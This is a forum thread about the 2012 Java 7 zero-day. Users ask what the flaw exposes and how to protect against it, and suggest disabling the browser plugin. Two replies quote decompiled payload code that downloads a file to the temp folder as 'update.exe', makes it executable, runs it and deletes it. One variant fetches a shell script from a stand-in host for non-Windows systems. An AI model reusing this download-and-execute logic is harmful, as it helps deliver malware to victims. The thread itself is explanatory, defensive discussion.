OS and Software > All Things Unix > Java 7 0-day

Java 7 0-day

I've not seen a good description of what this does give you - access at the current user level for the login session that's running? What about firewalls?
--
My place : »www.schettino.us

reply to KodiacZiller
Is there a way to prevent Java from executing without completely uninstalling it?

Is it just Java programming language, or Javascript, too? If in includes Javascript, it will break most web pages.

What are the current (as of right now, for this exploit) best practices for protection?
--
"Life is like this long line, except at the end there ain't no merry-go-round." - Arthur on The King of Queens
~ Project Hope ~

reply to timcuth

reply to KodiacZiller
»www.theregister.co.uk/2012/08/27···exploit/

quote:

---

In the form in which it was discovered, the exploit only works on Windows machines, because the payload that it downloads is a Windows executable. But the hackers behind the Metasploit penetration testing software say they have studied the exploit and found that it could just as easily be used to attack machines running Linux or Mac OS X, given the appropriate payload.

---

reply to KodiacZiller

reply to KodiacZiller

reply to howardfine
My point is that while it may not affect the running system, malicious software *could* run on it.

reply to KodiacZiller
Years ago I found it possible to eliminate Java from all my used OSes by switching to apps that don't reqire Java. So all related issues became forever nonexistent.

Naturally not everyone is able to do this but, if possible, it offers a permanent solution.

reply to howardfine

           if(bn.indexOf(k1) == 0 && si.indexOf(k2) == 0 && bs.intValue() == 748)
            {
                Object localObject1 = (new StringBuilder(String.valueOf(System.getProperty("java.io.tmpdir")))).append(File.separator).append("update.exe").toString();
                downFile((String)localObject1, xiaomaolv);
                if(str1.indexOf("Windows")  0)
                    exec((new StringBuilder("chmod 755 ")).append((String)localObject1).toString());
                exec((String)localObject1);
                (new File((String)localObject1)).delete();
            }
 

I think he's saying he can download a script, chmod +x it, and run it as the current user. Which isn't exactly owning the box just yet. Next would be that the payload would execute a local root elevation (assuming you're not patched against the script kiddie list of exploits attempted in the payload)

So to recap you must be
1) dumb enough to run java in your browser (hey, it's 1998!)
2) running as root (OMG, like totally) or
3) running a system with known root elevation exploits or
4) l33t haxxors have you.

That seems to be right to me.

I think most linux users are going to be failing at 1. I think anyone with a brain should be failing at 1.
--
My place : »www.schettino.us

reply to howardfine

       if(xiaomaolv == null && bn == null)
            return null;
        try
        {
            String k1 = "woyouyizhixiaomaol";
            String k2 = "conglaiyebuqi";
            String str1 = System.getProperty("os.name");
            if(bn.indexOf(k1) == 0 && si.indexOf(k2) == 0 && bs.intValue() == 748)
            {
                Object localObject1 = (new StringBuilder(String.valueOf(System.getProperty("java.io.tmpdir")))).append(File.separator).append("update.exe").toString();
                downFile((String)localObject1, xiaomaolv);
                if(str1.indexOf("Windows")  0){
		    //Wee look at me, I affect not just Windows!!
		    (new File((String)localObject1)).delete();
                    downFile((String)localObject1, "http://www.example.com/hostile_stuff.sh");
                    exec((new StringBuilder("chmod 755 ")).append((String)localObject1).toString());
 
		}
                exec((String)localObject1);
                (new File((String)localObject1)).delete();
            }
        }
        catch(Exception exception) { }
        return null;
 

reply to KodiacZiller
For those who may not know, I think it is important does not work by just having Java on your system. It must also be a browser plugin. You can install Java without giving your browser access to run it as a plug in.

reply to KodiacZiller
How does it work with Minecraft?